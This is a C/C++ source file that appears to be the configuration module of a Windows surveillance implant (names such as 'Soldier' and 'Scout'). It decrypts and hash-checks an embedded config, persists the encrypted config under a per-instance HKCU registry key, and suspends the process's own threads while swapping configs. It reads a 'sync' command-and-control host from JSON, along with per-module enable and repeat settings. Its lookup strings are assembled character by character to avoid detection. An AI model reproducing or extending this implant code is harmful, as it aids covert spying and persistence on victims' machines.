#include #include #include #include #include "globals.h" #include "binpatch.h" #include "crypt.h" #include "JSON.h" #include "zmem.h" #include "conf.h" #include "debug.h" #include "utils.h" #undef _INCLUDE_GLOBAL_FUNCTIONS_ #include "version.h" LPWSTR strConf = NULL; BOOL SaveConf(LPBYTE lpBuffer, DWORD dwSize) { HKEY hKey; WCHAR strBase[] = SOLDIER_REGISTRY_KEY; WCHAR strKeyName[] = SOLDIER_REGISTRY_CONF; LPWSTR strUnique = GetScoutSharedMemoryName(); LPWSTR strSubKey = (LPWSTR) zalloc(1024*sizeof(WCHAR)); _snwprintf_s(strSubKey, 1024, _TRUNCATE, L"%s\\%s", strBase, strUnique); if (!CreateRegistryKey(HKEY_CURRENT_USER, strSubKey, REG_OPTION_NON_VOLATILE, KEY_READ|KEY_WRITE, &hKey)) { zfree(strUnique); zfree(strSubKey); return FALSE; } DWORD dwRet = RegSetValueEx(hKey, strKeyName, 0, REG_BINARY, lpBuffer, dwSize); RegCloseKey(hKey); zfree(strUnique); zfree(strSubKey); return TRUE; } BOOL NewConf(LPBYTE lpBuffer, BOOL bPause, BOOL bSave) { HANDLE hTool; THREADENTRY32 pThread; DWORD dwCypherLen = *((LPDWORD)lpBuffer); LPBYTE lpTmpBuffer = (LPBYTE) zalloc(dwCypherLen+6); memcpy(lpTmpBuffer, lpBuffer, dwCypherLen+6); BYTE lpSha1Sum[SHA_DIGEST_LENGTH]; Decrypt(lpBuffer+4, dwCypherLen, pConfKey); DWORD dwConfLen = strlen((LPSTR)(lpBuffer+4)); #ifdef _DEBUG OutputDebugString(L"Calculating SHA1"); #endif // verify conf hash CalculateSHA1(lpSha1Sum, lpBuffer+4, dwConfLen); if (memcmp(lpSha1Sum, (lpBuffer+4+dwConfLen+1), SHA_DIGEST_LENGTH)) { zfree(lpTmpBuffer); return FALSE; } if (bPause) { #ifdef _DEBUG OutputDebugString(L"Creating Toolhelp32"); #endif hTool = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD , NULL); pThread.dwSize = sizeof(THREADENTRY32); if (Thread32First(hTool, &pThread)) { do { if (pThread.th32OwnerProcessID == GetCurrentProcessId()) { if (pThread.th32ThreadID != GetCurrentThreadId()) { HANDLE hThread = OpenThread(THREAD_SUSPEND_RESUME , FALSE, pThread.th32ThreadID); if (hThread) { SuspendThread(hThread); CloseHandle(hThread); } } } pThread.dwSize = sizeof(THREADENTRY32); } while (Thread32Next(hTool, &pThread)); } CloseHandle(hTool); } zfree(strConf); strConf = (LPWSTR) zalloc((dwConfLen+2)*sizeof(WCHAR)); _snwprintf_s(strConf, dwConfLen+1, _TRUNCATE, L"%S", lpBuffer+4); if (bPause) { hTool = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD , NULL); pThread.dwSize = sizeof(THREADENTRY32); if (Thread32First(hTool, &pThread)) { do { if (pThread.th32OwnerProcessID == GetCurrentProcessId()) { if (pThread.th32ThreadID != GetCurrentThreadId()) { HANDLE hThread = OpenThread(THREAD_SUSPEND_RESUME , FALSE, pThread.th32ThreadID); if (hThread) { ResumeThread(hThread); CloseHandle(hThread); } } } pThread.dwSize = sizeof(THREADENTRY32); } while (Thread32Next(hTool, &pThread)); } CloseHandle(hTool); } if (bSave) SaveConf(lpTmpBuffer, dwCypherLen+6); zfree(lpTmpBuffer); return TRUE; } BOOL LoadConf() { #ifdef _DEBUG OutputDebugString(L"Loading Configuration..."); #endif HKEY hKey; WCHAR strBase[] = SOLDIER_REGISTRY_KEY; WCHAR strKeyName[] = SOLDIER_REGISTRY_CONF; LPWSTR strUnique = GetScoutSharedMemoryName(); LPWSTR strSubKey = (LPWSTR) zalloc(1024*sizeof(WCHAR)); _snwprintf_s(strSubKey, 1024, _TRUNCATE, L"%s\\%s", strBase, strUnique); if (RegOpenKeyEx(HKEY_CURRENT_USER, strSubKey, 0, KEY_READ|KEY_WRITE, &hKey) != ERROR_SUCCESS) { zfree(strUnique); zfree(strSubKey); return DecryptConf(); } DWORD dwOut, dwSize; dwOut = dwSize = 10; LPBYTE lpBuffer = (LPBYTE) malloc(10); DWORD dwRet = RegQueryValueEx(hKey, strKeyName, NULL, NULL, lpBuffer, &dwOut); while (dwRet == ERROR_MORE_DATA) { dwSize += 1024; lpBuffer = (LPBYTE) realloc(lpBuffer, dwSize); dwOut = dwSize; dwRet = RegQueryValueEx(hKey, strKeyName, NULL, NULL, lpBuffer, &dwOut); } CloseHandle(hKey); if (dwRet == ERROR_SUCCESS) { #ifdef _DEBUG OutputDebugString(L"New Conf "); #endif dwRet = NewConf(lpBuffer, FALSE, FALSE); } else { #ifdef _DEBUG OutputDebugString(L"Decrypting Conf "); #endif dwRet = DecryptConf(); } zfree(lpBuffer); zfree(strUnique); zfree(strSubKey); return dwRet; } BOOL DecryptConf() { DWORD dwCypherLen = *((LPDWORD)EMBEDDED_CONF); if (dwCypherLen == 0xDEADBEEF) return TRUE; #ifndef _DEBUG // decrypt conf BYTE lpSha1Sum[SHA_DIGEST_LENGTH]; Decrypt(EMBEDDED_CONF+4, dwCypherLen, pConfKey); #endif DWORD dwConfLen = strlen((LPSTR)(EMBEDDED_CONF+4)); #ifndef _DEBUG // verify conf hash CalculateSHA1(lpSha1Sum, EMBEDDED_CONF+4, dwConfLen); if (memcmp(lpSha1Sum, (EMBEDDED_CONF+4+dwConfLen+1), SHA_DIGEST_LENGTH)) return FALSE; #endif EMBEDDED_CONF[4+dwConfLen+1] = 0; // FIXME: zero-termina StrConf non questa, pirla!, eh si certo e lo sprintf qui sotto.. lo facciamo sbombare?! strConf = (LPWSTR) zalloc((dwConfLen+2)*sizeof(WCHAR)); _snwprintf_s(strConf, dwConfLen+1, _TRUNCATE, L"%S", EMBEDDED_CONF+4); // check if we have at least an ip address for the sync CHAR strIp[100]; if (GetSyncIp(strIp)) return TRUE; return FALSE; } BOOL GetSyncIp(LPSTR strIp) { BOOL bRet = FALSE; WCHAR strSync[] = { L's', L'y', L'n', L'c', L'\0' }; WCHAR strHost[] = { L'h', L'o', L's', L't', L'\0' }; JSONValue *jValue = JSON::Parse(strConf); if (jValue != NULL && jValue->IsObject()) { JSONObject jRoot = jValue->AsObject(); if (jRoot.find(strSync) != jRoot.end() && jRoot[strSync]->IsObject()) { JSONObject jSync = jRoot[strSync]->AsObject(); if (jSync.find(strHost) != jSync.end() && jSync[strHost]->IsString()) { _snprintf_s(strIp, 100, _TRUNCATE, "%S", jSync[strHost]->AsString().c_str()); bRet = TRUE; } } } if (jValue) delete jValue; #ifdef _DEBUG if (bRet == FALSE) { OutputDebug(L"[!!] GetSyncIp Fail!!"); __asm int 3; } #endif return bRet; } BOOL ConfIsModuleEnabled(LPWSTR strModule) { BOOL bRet = FALSE; WCHAR strEnabled[] = { L'e', L'n', L'a', L'b', L'l', L'e', L'd', L'\0' }; JSONValue *jValue = JSON::Parse(strConf); if (jValue != NULL && jValue->IsObject()) { JSONObject jRoot = jValue->AsObject(); if (jRoot.find(strModule) != jRoot.end() && jRoot[strModule]->IsObject()) { JSONObject jMod = jRoot[strModule]->AsObject(); if (jMod.find(strEnabled) != jMod.end() && jMod[strEnabled]->IsBool()) { if (jMod[strEnabled]->AsBool()) bRet = TRUE; } } } if (jValue) delete jValue; return bRet; } DWORD ConfGetRepeat(LPWSTR strModule) { DWORD dwSleep = 20; // 60 secs WCHAR strRepeat[] = { L'r', L'e', L'p', L'e', L'a', L't', L'\0' }; JSONValue *jValue = JSON::Parse(strConf); if (jValue != NULL && jValue->IsObject()) { JSONObject jRoot = jValue->AsObject(); if (jRoot.find(strModule) != jRoot.end() && jRoot[strModule]->IsObject()) { JSONObject jMod = jRoot[strModule]->AsObject(); if (jMod.find(strRepeat) != jMod.end() && jMod[strRepeat]->IsNumber()) dwSleep = jMod[strRepeat]->AsNumber(); } } if (jValue) delete jValue; if (dwSleep < 20 && strModule[1] != 'y') // FIXME return 20; else return dwSleep; } DWORD ConfGetIter(LPWSTR strModule) { DWORD dwIter = 0; WCHAR strIter[] = { L'i', L't', L'e', L'r', L'\0' }; JSONValue *jValue = JSON::Parse(strConf); if (jValue != NULL && jValue->IsObject()) { JSONObject jRoot = jValue->AsObject(); if (jRoot.find(strModule) != jRoot.end() && jRoot[strModule]->IsObject()) { JSONObject jMod = jRoot[strModule]->AsObject(); if (jMod.find(strIter) != jMod.end() && jMod[strIter]->IsNumber()) dwIter = jMod[strIter]->AsNumber(); } } if (jValue) delete jValue; if (dwIter == 0) return 1; else return dwIter; } .